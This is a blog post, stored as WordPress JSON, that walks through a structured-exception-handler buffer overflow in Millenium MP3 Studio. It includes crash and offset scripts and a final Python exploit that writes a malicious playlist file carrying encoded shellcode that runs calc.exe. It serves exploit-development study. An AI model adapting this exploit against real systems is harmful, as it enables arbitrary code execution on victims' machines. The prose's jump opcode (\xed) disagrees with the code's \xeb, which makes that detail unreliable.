{"id":32,"date":"2021-02-10T10:02:43","date_gmt":"2021-02-10T10:02:43","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=32"},"modified":"2021-02-10T10:02:55","modified_gmt":"2021-02-10T10:02:55","slug":"exploit-development-millenium-mp3-studio-seh-windbg","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/exploit-development-millenium-mp3-studio-seh-windbg\/","title":{"rendered":"Exploit Development: Millenium MP3 Studio &#8211; SEH (WinDBG)"},"content":{"rendered":"\n<h2>Crash<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>#!\/usr\/bin\/python<br>file = &#8220;kalisa.mpf&#8221;<br>buffer =&nbsp; &#8220;http:\/\/&#8221; +&nbsp; &#8220;A&#8221; * 5000<br>f = open(file,&#8217;w&#8217;)f.write(buffer)f.close()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh4.googleusercontent.com\/0qpJVm08JCpsKPmc84IhlS3dQIVDJca2A8ylVFTHcoPWC1ts7sTRnDzdchpRZDdpASTD1BX15iMyDQQJew_-ZSkffoBbxb0sE3dgVhvmALbFILROXE9XCEoFo-yv784-qcdKlU0m\" alt=\"\"\/><\/figure>\n\n\n\n<h2>Offset<\/h2>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/4jFe2VkV9_lOjEjvxx9DoDTlQbeKfSSNRGgrhzU-I9bHsMfTXHa7hXY-mZS-1OU7DfCsdUBLx79FkWUXYQMwS9XFaFV28qSQBbh7Dz3w4AJduqfAXwCZqZKDp98kmwUsZ72U8l2X\" alt=\"\"\/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>#!\/usr\/bin\/python<br>file = &#8220;kalisa.mpf&#8221;<br>buffer =&nbsp; &#8220;http:\/\/&#8221; +&nbsp; &#8220;A&#8221;*4105+&#8221;B&#8221;* 4+&#8221;C&#8221;*1000<br>f = open(file,&#8217;w&#8217;)f.write(buffer)f.close()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>pop -pop -ret<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/_qJce7BZpAO6upi1YJ6lrTf4y3Nwybj-3JMv3iDC9CrRGgYp69YJroj2OFQMWPpkRQDy2ZqmmvugHqh_3NtCMsDI3iK-_2f2Ttc6AGKhoolkT_da0TSj5KV3K5oz58_nWEPjLxJa\" alt=\"\"\/><\/figure>\n\n\n\n<h2>Stack<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>nseh (4 bytes)<\/td><td>seh (4 bytes)<\/td><td>other (4 bytes)<\/td><td>other (4 bytes)<\/td><\/tr><tr><td>other (4 bytes)<\/td><td>other(4 bytes)<\/td><td>hole (4 bytes)<\/td><td>other (4 bytes)<\/td><\/tr><tr><td>shellcode starts here<\/td><td><\/td><td><\/td><td><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>So &#8220;jmp 30 bytes&#8221; will be for 2 bytes in nseh. To start the shellcode as desired we will jump the following red area which is 30 bytes<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>nseh \\xed\\x1e\\x90\\x90 (2+2 bytes)<\/td><td>seh (4 bytes)<\/td><td>other (4 bytes)<\/td><td>other (4 bytes)<\/td><\/tr><tr><td>other (4 bytes)<\/td><td>other(4 bytes)<\/td><td>hole (4 bytes)<\/td><td>other (4 bytes)<\/td><\/tr><tr><td>shellcode starts here<\/td><td><\/td><td><\/td><td><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>\\xed : jmp\\x1e : 30<br>You can see the hole below:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh6.googleusercontent.com\/k83Y8o-fyIcXBMU-_xOVaQaxgSruymc0oTafrCCE2X-RMkz7vWurYIrvW-CYNXaPKz_gusfb6WRPlLxi9ub95xYCkorWfuEhS1IEq_AczpxdfDSZI2UghRCFt5FHOrJUgyJO9MiN\" alt=\"\"\/><\/figure>\n\n\n\n<p>How our specific shellcode have place including the hole<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/M2GOpyqTEtZgzwio74S6zmu6Da9iBR2ZxeFOMuCsk7IaTWIw1-WL2ixpZRJLCaG0A-e46pJaiq5rxtkA2_5evaUcwUkmagttIkJ-VV2mA22oO3p08V0dsRs9oTSKdefwKKYpk_1n\" alt=\"\"\/><\/figure>\n\n\n\n<h2>Final Exploit<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>#!\/usr\/bin\/python<br>file = &#8220;kalisa.mpf&#8221;<br>#buffer = &#8220;A&#8221;*4112+&#8221;B&#8221;*4+&#8221;C&#8221;*4<br># nseh (4) + seh (4) +other (8) = 16# other (8) + hole (4) + other (4) = 16# start of shellcode = 16 bytes<br># 2 null bytes from nseh (2) + 4 seh (4)&nbsp; + other (8) + 16 next row (16) = 30 bytes<br># \\xeb\\x1e means jmp 30 bytes which will be in nseh for 2 bytes<br>offset = &#8220;http:\/\/&#8221; + &#8220;A&#8221; * 4105nextSEH = &#8220;\\xeb\\x1e\\x90\\x90&#8221;&nbsp; &nbsp; # jmp 30 bytesSEH = &#8220;\\xAE\\x03\\x01\\x10&#8221; # pop-pop-ret from xaudio.dllnops = &#8220;\\x90&#8221; * 24 # 24 bytes nop sled<br># msfpayload windows\/exec CMD=calc.exe EXITFUNC=seh R | msfencode -b &#8216;\\x00\\x0a\\x0d&#8217; -t perl# [*] x86\/shikata_ga_nai succeeded with size 227 (iteration=1)<br>calc = (&#8220;\\xbb\\x34\\x46\\x73\\x3a\\xda\\xd2\\xd9\\x74\\x24\\xf4\\x5a\\x31\\xc9&#8243; +&#8221;\\xb1\\x33\\x31\\x5a\\x12\\x83\\xea\\xfc\\x03\\x6e\\x48\\x91\\xcf\\x72&#8243; +&#8221;\\xbc\\xdc\\x30\\x8a\\x3d\\xbf\\xb9\\x6f\\x0c\\xed\\xde\\xe4\\x3d\\x21&#8243; +&#8221;\\x94\\xa8\\xcd\\xca\\xf8\\x58\\x45\\xbe\\xd4\\x6f\\xee\\x75\\x03\\x5e&#8221; +&#8221;\\xef\\xbb\\x8b\\x0c\\x33\\xdd\\x77\\x4e\\x60\\x3d\\x49\\x81\\x75\\x3c&#8221; +&#8221;\\x8e\\xff\\x76\\x6c\\x47\\x74\\x24\\x81\\xec\\xc8\\xf5\\xa0\\x22\\x47&#8243; +&#8221;\\x45\\xdb\\x47\\x97\\x32\\x51\\x49\\xc7\\xeb\\xee\\x01\\xff\\x80\\xa9&#8243; +&#8221;\\xb1\\xfe\\x45\\xaa\\x8e\\x49\\xe1\\x19\\x64\\x48\\x23\\x50\\x85\\x7b&#8221; +&#8221;\\x0b\\x3f\\xb8\\xb4\\x86\\x41\\xfc\\x72\\x79\\x34\\xf6\\x81\\x04\\x4f&#8221; +&#8221;\\xcd\\xf8\\xd2\\xda\\xd0\\x5a\\x90\\x7d\\x31\\x5b\\x75\\x1b\\xb2\\x57&#8243; +&#8221;\\x32\\x6f\\x9c\\x7b\\xc5\\xbc\\x96\\x87\\x4e\\x43\\x79\\x0e\\x14\\x60&#8243; +&#8221;\\x5d\\x4b\\xce\\x09\\xc4\\x31\\xa1\\x36\\x16\\x9d\\x1e\\x93\\x5c\\x0f&#8221; +&#8221;\\x4a\\xa5\\x3e\\x45\\x8d\\x27\\x45\\x20\\x8d\\x37\\x46\\x02\\xe6\\x06&#8243; +&#8221;\\xcd\\xcd\\x71\\x97\\x04\\xaa\\x80\\x66\\x95\\x26\\x14\\xd1\\x4c\\x0b&#8221; +&#8221;\\x78\\xe2\\xba\\x4f\\x85\\x61\\x4f\\x2f\\x72\\x79\\x3a\\x2a\\x3e\\x3d&#8221; +&#8221;\\xd6\\x46\\x2f\\xa8\\xd8\\xf5\\x50\\xf9\\xba\\x98\\xc2\\x61\\x13\\x3f&#8221; +&#8221;\\x63\\x03\\x6b&#8221;)<br>#shellcode = &#8220;\\xcc\\xcc\\xcc\\xcc&#8221;<br>buffer = offset + nextSEH + SEH + nops + calc<br>f = open(file,&#8217;w&#8217;)f.write(buffer)f.close()<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" src=\"https:\/\/lh5.googleusercontent.com\/JY5Y6DOLd9xxFvnSntwJPwjaPVw9depJf297r59MzyZLkC_tkpyX2YtJ3-fK1FlQF3Fvav-v-tQV8kqfr7sAMMVQ-qWYfx2GpSW2_3pvKbCYaPi72rr3__EV5-0VydmQ8Bsfxq5s\" alt=\"\"\/><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>Crash #!\/usr\/bin\/pythonfile = &#8220;kalisa.mpf&#8221;buffer =&nbsp; &#8220;http:\/\/&#8221; +&nbsp; &#8220;A&#8221; * 5000f = open(file,&#8217;w&#8217;)f.write(buffer)f.close() Offset #!\/usr\/bin\/pythonfile = &#8220;kalisa.mpf&#8221;buffer =&nbsp; &#8220;http:\/\/&#8221; +&nbsp; &#8220;A&#8221;*4105+&#8221;B&#8221;* 4+&#8221;C&#8221;*1000f = open(file,&#8217;w&#8217;)f.write(buffer)f.close() pop -pop -ret Stack nseh (4 bytes) seh (4 bytes) other (4 bytes) other (4 bytes) other (4 bytes) other(4 bytes) hole (4 bytes) other (4 bytes) shellcode starts here So &#8220;jmp&hellip; <a class=\"more-link\" href=\"https:\/\/areyou1or0.it\/index.php\/2021\/02\/10\/exploit-development-millenium-mp3-studio-seh-windbg\/\">Continue reading <span class=\"screen-reader-text\">Exploit Development: Millenium MP3 Studio &#8211; SEH (WinDBG)<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[18],"tags":[],"_links":{"self":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/32"}],"collection":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/comments?post=32"}],"version-history":[{"count":1,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/32\/revisions"}],"predecessor-version":[{"id":33,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/posts\/32\/revisions\/33"}],"wp:attachment":[{"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/media?parent=32"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/categories?post=32"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/areyou1or0.it\/index.php\/wp-json\/wp\/v2\/tags?post=32"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}